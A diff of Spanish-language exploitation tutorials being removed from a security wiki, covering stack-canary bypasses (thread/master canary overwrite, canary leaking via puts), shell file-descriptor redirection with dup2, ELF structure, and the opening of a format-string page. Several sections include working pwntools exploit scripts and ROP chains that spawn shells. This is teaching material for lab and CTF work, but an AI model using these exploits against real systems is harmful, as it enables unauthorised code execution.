0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4 <- PTR_MANGLE cookie
0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000
...
```
> [!NOTE]
> Algunas de las funciones de GDB mencionadas anteriormente están definidas en una extensión llamada [bata24/gef](https://github.com/bata24/gef), que tiene más características que el habitual [hugsy/gef](https://github.com/hugsy/gef).
Como resultado, un gran Buffer Overflow puede permitir modificar tanto el stack canary como el master canary en el TLS. Este es el offset:
```bash
gef> p/x 0x7ffff7d7f668 - $rdi
$1 = 0x848
```
Este es un exploit corto para llamar a `win`:
```python
from pwn import *
context.binary = 'thread_canary'
payload = b'A' * 0x28 # buffer overflow offset
payload += b'BBBBBBBB' # overwritting stack canary
payload += b'A' * 8 # saved $rbp
payload += p64(context.binary.sym.win) # return address
payload += b'A' * (0x848 - len(payload)) # padding
payload += b'BBBBBBBB' # overwritting master canary
io = context.binary.process()
io.sendline(payload)
io.interactive()
```
## Otros ejemplos y referencias
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, sin PIE, nx, canario BF, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí.
- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
- 64 bits, sin PIE, nx, modificar el canario de hilo y maestro.

28
src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
View File

@ -1,28 +0,0 @@
# Print Stack Canary
{{#include ../../../../banners/hacktricks-training.md}}
## Ampliar la pila impresa
Imagina una situación donde un **programa vulnerable** a desbordamiento de pila puede ejecutar una función **puts** **apuntando** a **parte** del **desbordamiento de pila**. El atacante sabe que el **primer byte del canario es un byte nulo** (`\x00`) y el resto del canario son **bytes aleatorios**. Entonces, el atacante puede crear un desbordamiento que **sobrescriba la pila hasta justo el primer byte del canario**.
Luego, el atacante **llama a la funcionalidad puts** en el medio de la carga útil que **imprimirá todo el canario** (excepto el primer byte nulo).
Con esta información, el atacante puede **elaborar y enviar un nuevo ataque** conociendo el canario (en la **misma sesión del programa**).
Obviamente, esta táctica es muy **restringida** ya que el atacante necesita poder **imprimir** el **contenido** de su **carga útil** para **exfiltrar** el **canario** y luego ser capaz de crear una nueva carga útil (en la **misma sesión del programa**) y **enviar** el **verdadero desbordamiento de búfer**.
**Ejemplos de CTF:**
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canario para luego llamar a puts y filtrarlo. Con el canario se crea un gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego un gadget ROP para llamar a `system('/bin/sh')`.
## Lectura Arbitraria
Con una lectura arbitraria como la proporcionada por **cadenas de formato**, podría ser posible filtrar el canario. Consulta este ejemplo: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) y puedes leer sobre el abuso de cadenas de formato para leer direcciones de memoria arbitrarias en:
{{#ref}}
../../format-strings/
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}

36
src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md
View File

@ -1,36 +0,0 @@
# Problemas Comunes de Explotación
{{#include ../../banners/hacktricks-training.md}}
## FDs en Explotación Remota
Cuando se envía un exploit a un servidor remoto que llama a **`system('/bin/sh')`**, por ejemplo, esto se ejecutará en el proceso del servidor, y `/bin/sh` esperará entrada de stdin (FD: `0`) y mostrará la salida en stdout y stderr (FDs `1` y `2`). Por lo tanto, el atacante no podrá interactuar con el shell.
Una forma de solucionar esto es suponer que cuando el servidor se inició, creó el **FD número `3`** (para escuchar) y que luego, tu conexión estará en el **FD número `4`**. Por lo tanto, es posible usar la syscall **`dup2`** para duplicar el stdin (FD 0) y el stdout (FD 1) en el FD 4 (el de la conexión del atacante) para que sea factible contactar con el shell una vez que se ejecute.
[**Ejemplo de exploit desde aquí**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
```
## Socat & pty
Tenga en cuenta que socat ya transfiere `stdin` y `stdout` al socket. Sin embargo, el modo `pty` **incluye caracteres DELETE**. Así que, si envía un `\x7f` ( `DELETE` -) **eliminará el carácter anterior** de su exploit.
Para eludir esto, **el carácter de escape `\x16` debe ser precedido a cualquier `\x7f` enviado.**
**Aquí puede** [**encontrar un ejemplo de este comportamiento**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
{{#include ../../banners/hacktricks-training.md}}

382
src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md
View File

@ -1,382 +0,0 @@
# ELF Tricks
{{#include ../../banners/hacktricks-training.md}}
## Program Headers
Describen al cargador cómo cargar el ELF en memoria:
```bash
readelf -lW lnstat
Elf file type is DYN (Position-Independent Executable file)
Entry point 0x1c00
There are 9 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .dynamic .got .data .bss
04 .dynamic
05 .note.gnu.build-id .note.ABI-tag .note.package
06 .eh_frame_hdr
07
08 .init_array .fini_array .dynamic .got
```
El programa anterior tiene **9 encabezados de programa**, luego, el **mapeo de segmentos** indica en qué encabezado de programa (del 00 al 08) **se encuentra cada sección**.
### PHDR - Encabezado de Programa
Contiene las tablas de encabezados de programa y la metadata en sí.
### INTERP
Indica la ruta del cargador que se utilizará para cargar el binario en memoria.
### LOAD
Estos encabezados se utilizan para indicar **cómo cargar un binario en memoria.**\
Cada encabezado **LOAD** indica una región de **memoria** (tamaño, permisos y alineación) e indica los bytes del **binario ELF que se copiarán allí**.
Por ejemplo, el segundo tiene un tamaño de 0x1190, debe estar ubicado en 0x1fc48 con permisos de lectura y escritura y se llenará con 0x528 desde el desplazamiento 0xfc48 (no llena todo el espacio reservado). Esta memoria contendrá las secciones `.init_array .fini_array .dynamic .got .data .bss`.
### DYNAMIC
Este encabezado ayuda a vincular programas a sus dependencias de biblioteca y aplicar reubicaciones. Consulta la sección **`.dynamic`**.
### NOTE
Esto almacena información de metadata del proveedor sobre el binario.
### GNU_EH_FRAME
Define la ubicación de las tablas de deshacer la pila, utilizadas por depuradores y funciones de tiempo de ejecución de manejo de excepciones en C++.
### GNU_STACK
Contiene la configuración de la defensa de prevención de ejecución de la pila. Si está habilitado, el binario no podrá ejecutar código desde la pila.
### GNU_RELRO
Indica la configuración RELRO (Relocation Read-Only) del binario. Esta protección marcará como de solo lectura ciertas secciones de la memoria (como el `GOT` o las tablas `init` y `fini`) después de que el programa se haya cargado y antes de que comience a ejecutarse.
En el ejemplo anterior, está copiando 0x3b8 bytes a 0x1fc48 como de solo lectura, afectando las secciones `.init_array .fini_array .dynamic .got .data .bss`.
Ten en cuenta que RELRO puede ser parcial o completo, la versión parcial no protege la sección **`.plt.got`**, que se utiliza para **vinculación perezosa** y necesita este espacio de memoria para tener **permisos de escritura** para escribir la dirección de las bibliotecas la primera vez que se busca su ubicación.
### TLS
Define una tabla de entradas TLS, que almacena información sobre variables locales de hilo.
## Encabezados de Sección
Los encabezados de sección ofrecen una vista más detallada del binario ELF.
```
objdump lnstat -h
lnstat: file format elf64-littleaarch64
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
CONTENTS, ALLOC, LOAD, DATA
19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
CONTENTS, ALLOC, LOAD, DATA
21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
CONTENTS, ALLOC, LOAD, DATA
22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
ALLOC
24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY
```
También indica la ubicación, el desplazamiento, los permisos, pero también el **tipo de datos** que tiene su sección.
### Secciones Meta
- **Tabla de cadenas**: Contiene todas las cadenas necesarias para el archivo ELF (pero no las que realmente usa el programa). Por ejemplo, contiene nombres de secciones como `.text` o `.data`. Y si `.text` está en el desplazamiento 45 en la tabla de cadenas, usará el número **45** en el campo **nombre**.
- Para encontrar dónde está la tabla de cadenas, el ELF contiene un puntero a la tabla de cadenas.
- **Tabla de símbolos**: Contiene información sobre los símbolos como el nombre (desplazamiento en la tabla de cadenas), dirección, tamaño y más metadatos sobre el símbolo.
### Secciones Principales
- **`.text`**: La instrucción del programa a ejecutar.
- **`.data`**: Variables globales con un valor definido en el programa.
- **`.bss`**: Variables globales no inicializadas (o inicializadas a cero). Las variables aquí se inicializan automáticamente a cero, evitando así que se añadan ceros innecesarios al binario.
- **`.rodata`**: Variables globales constantes (sección de solo lectura).
- **`.tdata`** y **`.tbss`**: Como .data y .bss cuando se utilizan variables locales de hilo (`__thread_local` en C++ o `__thread` en C).
- **`.dynamic`**: Ver abajo.
## Símbolos
Un símbolo es una ubicación nombrada en el programa que podría ser una función, un objeto de datos global, variables locales de hilo...
```
readelf -s lnstat
Symbol table '.dynsym' contains 49 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...]
```
Cada entrada de símbolo contiene:
- **Nombre**
- **Atributos de enlace** (débil, local o global): Un símbolo local solo puede ser accedido por el propio programa, mientras que el símbolo global se comparte fuera del programa. Un objeto débil es, por ejemplo, una función que puede ser sobrescrita por otra diferente.
- **Tipo**: NOTYPE (sin tipo especificado), OBJECT (variable de datos global), FUNC (función), SECTION (sección), FILE (archivo de código fuente para depuradores), TLS (variable local de hilo), GNU_IFUNC (función indirecta para reubicación)
- **Índice de sección** donde se encuentra
- **Valor** (dirección en memoria)
- **Tamaño**
## Sección dinámica
```
readelf -d lnstat
Dynamic section at offset 0xfc58 contains 28 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
0x000000000000000c (INIT) 0x1088
0x000000000000000d (FINI) 0x2f74
0x0000000000000019 (INIT_ARRAY) 0x1fc48
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x1fc50
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x338
0x0000000000000005 (STRTAB) 0x7f0
0x0000000000000006 (SYMTAB) 0x358
0x000000000000000a (STRSZ) 510 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x1fe58
0x0000000000000002 (PLTRELSZ) 960 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0xcc8
0x0000000000000007 (RELA) 0xaa0
0x0000000000000008 (RELASZ) 552 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
0x000000000000001e (FLAGS) BIND_NOW
0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
0x000000006ffffffe (VERNEED) 0xa50
0x000000006fffffff (VERNEEDNUM) 2
0x000000006ffffff0 (VERSYM) 0x9ee
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
```
El directorio NEEDED indica que el programa **necesita cargar la biblioteca mencionada** para continuar. El directorio NEEDED se completa una vez que la **biblioteca compartida está completamente operativa y lista** para su uso.
## Reubicaciones
El cargador también debe reubicar las dependencias después de haberlas cargado. Estas reubicaciones se indican en la tabla de reubicación en formatos REL o RELA y el número de reubicaciones se da en las secciones dinámicas RELSZ o RELASZ.
```
readelf -r lnstat
Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
Offset Info Type Sym. Value Sym. Name + Addend
00000001fc48 000000000403 R_AARCH64_RELATIV 1d10
00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0
00000001fff0 000000000403 R_AARCH64_RELATIV 1340
000000020008 000000000403 R_AARCH64_RELATIV 20008
000000020010 000000000403 R_AARCH64_RELATIV 3330
000000020030 000000000403 R_AARCH64_RELATIV 3338
000000020050 000000000403 R_AARCH64_RELATIV 3340
000000020070 000000000403 R_AARCH64_RELATIV 3348
000000020090 000000000403 R_AARCH64_RELATIV 3350
0000000200b0 000000000403 R_AARCH64_RELATIV 3358
0000000200d0 000000000403 R_AARCH64_RELATIV 3360
0000000200f0 000000000403 R_AARCH64_RELATIV 3370
000000020110 000000000403 R_AARCH64_RELATIV 3378
000000020130 000000000403 R_AARCH64_RELATIV 3380
000000020150 000000000403 R_AARCH64_RELATIV 3388
00000001ffb8 000a00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_deregisterTM[...] + 0
00000001ffc0 000b00000401 R_AARCH64_GLOB_DA 0000000000000000 __cxa_finalize@GLIBC_2.17 + 0
00000001ffc8 000f00000401 R_AARCH64_GLOB_DA 0000000000000000 stderr@GLIBC_2.17 + 0
00000001ffd0 001000000401 R_AARCH64_GLOB_DA 0000000000000000 optarg@GLIBC_2.17 + 0
00000001ffd8 001400000401 R_AARCH64_GLOB_DA 0000000000000000 stdout@GLIBC_2.17 + 0
00000001ffe0 001e00000401 R_AARCH64_GLOB_DA 0000000000000000 __gmon_start__ + 0
00000001ffe8 001f00000401 R_AARCH64_GLOB_DA 0000000000000000 __stack_chk_guard@GLIBC_2.17 + 0
00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0
Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
Offset Info Type Sym. Value Sym. Name + Addend
00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0
00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0
00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0
00000001fe88 000600000402 R_AARCH64_JUMP_SL 0000000000000000 fputs@GLIBC_2.17 + 0
00000001fe90 000700000402 R_AARCH64_JUMP_SL 0000000000000000 exit@GLIBC_2.17 + 0
00000001fe98 000800000402 R_AARCH64_JUMP_SL 0000000000000000 __libc_start_main@GLIBC_2.34 + 0
00000001fea0 000900000402 R_AARCH64_JUMP_SL 0000000000000000 perror@GLIBC_2.17 + 0
00000001fea8 000b00000402 R_AARCH64_JUMP_SL 0000000000000000 __cxa_finalize@GLIBC_2.17 + 0
00000001feb0 000c00000402 R_AARCH64_JUMP_SL 0000000000000000 putc@GLIBC_2.17 + 0
00000001feb8 000d00000402 R_AARCH64_JUMP_SL 0000000000000000 opendir@GLIBC_2.17 + 0
00000001fec0 000e00000402 R_AARCH64_JUMP_SL 0000000000000000 fputc@GLIBC_2.17 + 0
00000001fec8 001100000402 R_AARCH64_JUMP_SL 0000000000000000 snprintf@GLIBC_2.17 + 0
00000001fed0 001200000402 R_AARCH64_JUMP_SL 0000000000000000 __snprintf_chk@GLIBC_2.17 + 0
00000001fed8 001300000402 R_AARCH64_JUMP_SL 0000000000000000 malloc@GLIBC_2.17 + 0
00000001fee0 001500000402 R_AARCH64_JUMP_SL 0000000000000000 gettimeofday@GLIBC_2.17 + 0
00000001fee8 001600000402 R_AARCH64_JUMP_SL 0000000000000000 sleep@GLIBC_2.17 + 0
00000001fef0 001700000402 R_AARCH64_JUMP_SL 0000000000000000 __vfprintf_chk@GLIBC_2.17 + 0
00000001fef8 001800000402 R_AARCH64_JUMP_SL 0000000000000000 calloc@GLIBC_2.17 + 0
00000001ff00 001900000402 R_AARCH64_JUMP_SL 0000000000000000 rewind@GLIBC_2.17 + 0
00000001ff08 001a00000402 R_AARCH64_JUMP_SL 0000000000000000 strdup@GLIBC_2.17 + 0
00000001ff10 001b00000402 R_AARCH64_JUMP_SL 0000000000000000 closedir@GLIBC_2.17 + 0
00000001ff18 001c00000402 R_AARCH64_JUMP_SL 0000000000000000 __stack_chk_fail@GLIBC_2.17 + 0
00000001ff20 001d00000402 R_AARCH64_JUMP_SL 0000000000000000 strrchr@GLIBC_2.17 + 0
00000001ff28 001e00000402 R_AARCH64_JUMP_SL 0000000000000000 __gmon_start__ + 0
00000001ff30 002000000402 R_AARCH64_JUMP_SL 0000000000000000 abort@GLIBC_2.17 + 0
00000001ff38 002100000402 R_AARCH64_JUMP_SL 0000000000000000 feof@GLIBC_2.17 + 0
00000001ff40 002200000402 R_AARCH64_JUMP_SL 0000000000000000 getopt_long@GLIBC_2.17 + 0
00000001ff48 002300000402 R_AARCH64_JUMP_SL 0000000000000000 __fprintf_chk@GLIBC_2.17 + 0
00000001ff50 002400000402 R_AARCH64_JUMP_SL 0000000000000000 strcmp@GLIBC_2.17 + 0
00000001ff58 002500000402 R_AARCH64_JUMP_SL 0000000000000000 free@GLIBC_2.17 + 0
00000001ff60 002600000402 R_AARCH64_JUMP_SL 0000000000000000 readdir64@GLIBC_2.17 + 0
00000001ff68 002700000402 R_AARCH64_JUMP_SL 0000000000000000 strndup@GLIBC_2.17 + 0
00000001ff70 002800000402 R_AARCH64_JUMP_SL 0000000000000000 strchr@GLIBC_2.17 + 0
00000001ff78 002900000402 R_AARCH64_JUMP_SL 0000000000000000 fwrite@GLIBC_2.17 + 0
00000001ff80 002a00000402 R_AARCH64_JUMP_SL 0000000000000000 fflush@GLIBC_2.17 + 0
00000001ff88 002b00000402 R_AARCH64_JUMP_SL 0000000000000000 fopen64@GLIBC_2.17 + 0
00000001ff90 002c00000402 R_AARCH64_JUMP_SL 0000000000000000 __isoc99_sscanf@GLIBC_2.17 + 0
00000001ff98 002d00000402 R_AARCH64_JUMP_SL 0000000000000000 strncpy@GLIBC_2.17 + 0
00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
```
### Relocaciones Estáticas
Si el **programa se carga en un lugar diferente** de la dirección preferida (generalmente 0x400000) porque la dirección ya está en uso o debido a **ASLR** o cualquier otra razón, una relocación estática **corrige punteros** que tenían valores esperando que el binario se cargara en la dirección preferida.
Por ejemplo, cualquier sección de tipo `R_AARCH64_RELATIV` debería haber modificado la dirección en el sesgo de relocación más el valor del aditivo.
### Relocaciones Dinámicas y GOT
La relocación también podría hacer referencia a un símbolo externo (como una función de una dependencia). Como la función malloc de libC. Entonces, el cargador al cargar libC en una dirección, al verificar dónde se carga la función malloc, escribirá esta dirección en la tabla GOT (Tabla de Desplazamiento Global) (indicado en la tabla de relocación) donde debería especificarse la dirección de malloc.
### Tabla de Enlace de Procedimientos
La sección PLT permite realizar enlace perezoso, lo que significa que la resolución de la ubicación de una función se realizará la primera vez que se acceda a ella.
Así que cuando un programa llama a malloc, en realidad llama a la ubicación correspondiente de `malloc` en el PLT (`malloc@plt`). La primera vez que se llama, resuelve la dirección de `malloc` y la almacena, de modo que la próxima vez que se llame a `malloc`, se utiliza esa dirección en lugar del código PLT.
## Inicialización del Programa
Después de que el programa ha sido cargado, es hora de que se ejecute. Sin embargo, el primer código que se ejecuta **no siempre es la función `main`**. Esto se debe a que, por ejemplo, en C++ si una **variable global es un objeto de una clase**, este objeto debe ser **inicializado** **antes** de que se ejecute main, como en:
```cpp
#include <stdio.h>
// g++ autoinit.cpp -o autoinit
class AutoInit {
public:
AutoInit() {
printf("Hello AutoInit!\n");
}
~AutoInit() {
printf("Goodbye AutoInit!\n");
}
};
AutoInit autoInit;
int main() {
printf("Main\n");
return 0;
}
```
Tenga en cuenta que estas variables globales se encuentran en `.data` o `.bss`, pero en las listas `__CTOR_LIST__` y `__DTOR_LIST__` se almacenan los objetos para inicializar y destruir con el fin de hacer un seguimiento de ellos.
Desde el código C, es posible obtener el mismo resultado utilizando las extensiones de GNU:
```c
__attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list
```
Desde la perspectiva de un compilador, para ejecutar estas acciones antes y después de que se ejecute la función `main`, es posible crear una función `init` y una función `fini` que se referenciarían en la sección dinámica como **`INIT`** y **`FIN`**. y se colocan en las secciones `init` y `fini` del ELF.
La otra opción, como se mencionó, es referenciar las listas **`__CTOR_LIST__`** y **`__DTOR_LIST__`** en las entradas **`INIT_ARRAY`** y **`FINI_ARRAY`** en la sección dinámica y la longitud de estas se indica con **`INIT_ARRAYSZ`** y **`FINI_ARRAYSZ`**. Cada entrada es un puntero a función que se llamará sin argumentos.
Además, también es posible tener un **`PREINIT_ARRAY`** con **punteros** que se ejecutarán **antes** de los punteros de **`INIT_ARRAY`**.
### Orden de Inicialización
1. El programa se carga en memoria, las variables globales estáticas se inicializan en **`.data`** y las no inicializadas se ponen a cero en **`.bss`**.
2. Todas las **dependencias** para el programa o bibliotecas son **inicializadas** y se ejecuta el **vinculador dinámico**.
3. Se ejecutan las funciones de **`PREINIT_ARRAY`**.
4. Se ejecutan las funciones de **`INIT_ARRAY`**.
5. Si hay una entrada **`INIT`**, se llama.
6. Si es una biblioteca, dlopen termina aquí; si es un programa, es hora de llamar al **punto de entrada real** (función `main`).
## Almacenamiento Local por Hilo (TLS)
Se definen utilizando la palabra clave **`__thread_local`** en C++ o la extensión de GNU **`__thread`**.
Cada hilo mantendrá una ubicación única para esta variable, por lo que solo el hilo puede acceder a su variable.
Cuando se utiliza esto, las secciones **`.tdata`** y **`.tbss`** se utilizan en el ELF. Que son como `.data` (inicializado) y `.bss` (no inicializado) pero para TLS.
Cada variable tendrá una entrada en el encabezado TLS que especifica el tamaño y el desplazamiento TLS, que es el desplazamiento que utilizará en el área de datos local del hilo.
El `__TLS_MODULE_BASE` es un símbolo utilizado para referirse a la dirección base del almacenamiento local por hilo y apunta al área en memoria que contiene todos los datos locales por hilo de un módulo.
{{#include ../../banners/hacktricks-training.md}}

150
src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md
View File

@ -1,150 +0,0 @@
# Format Strings
{{#include ../../../banners/hacktricks-training.md}}
## Información Básica
En C **`printf`** es una función que se puede usar para **imprimir** alguna cadena. El **primer parámetro** que esta función espera es el **texto en bruto con los formateadores**. Los **siguientes parámetros** esperados son los **valores** para **sustituir** los **formateadores** del texto en bruto.
La vulnerabilidad aparece cuando un **texto de atacante se usa como el primer argumento** para esta función. El atacante podrá crear una **entrada especial abusando** de las capacidades de la **cadena de formato** de printf para leer y **escribir cualquier dato en cualquier dirección (legible/escribible)**. De esta manera, podrá **ejecutar código arbitrario**.
#### Formateadores:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**Ejemplos:**
- Ejemplo vulnerable:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
- Uso Normal:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
- Con argumentos faltantes:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
### **Accediendo a Punteros**
El formato **`%<n>$x`**, donde `n` es un número, permite indicar a printf que seleccione el n-ésimo parámetro (desde la pila). Así que si quieres leer el 4º parámetro de la pila usando printf, podrías hacer:
```c
printf("%x %x %x %x")
```
y leerías desde el primer hasta el cuarto parámetro.
O podrías hacer:
```c
printf("$4%x")
```
y leer directamente el cuarto.
Nota que el atacante controla el `pr`**`intf` parámetro, lo que básicamente significa que** su entrada estará en la pila cuando se llame a `printf`, lo que significa que podría escribir direcciones de memoria específicas en la pila.
> [!CAUTION]
> Un atacante que controle esta entrada, podrá **agregar direcciones arbitrarias en la pila y hacer que `printf` las acceda**. En la siguiente sección se explicará cómo usar este comportamiento.
## **Lectura Arbitraria**
Es posible usar el formateador **`$n%s`** para hacer que **`printf`** obtenga la **dirección** situada en la **n posición**, siguiéndola y **imprimirla como si fuera una cadena** (imprimir hasta que se encuentre un 0x00). Así que si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario comienza en la 4ª posición en la pila, es posible imprimir el inicio del binario con:
```python
from pwn import *
p = process('./bin')
payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
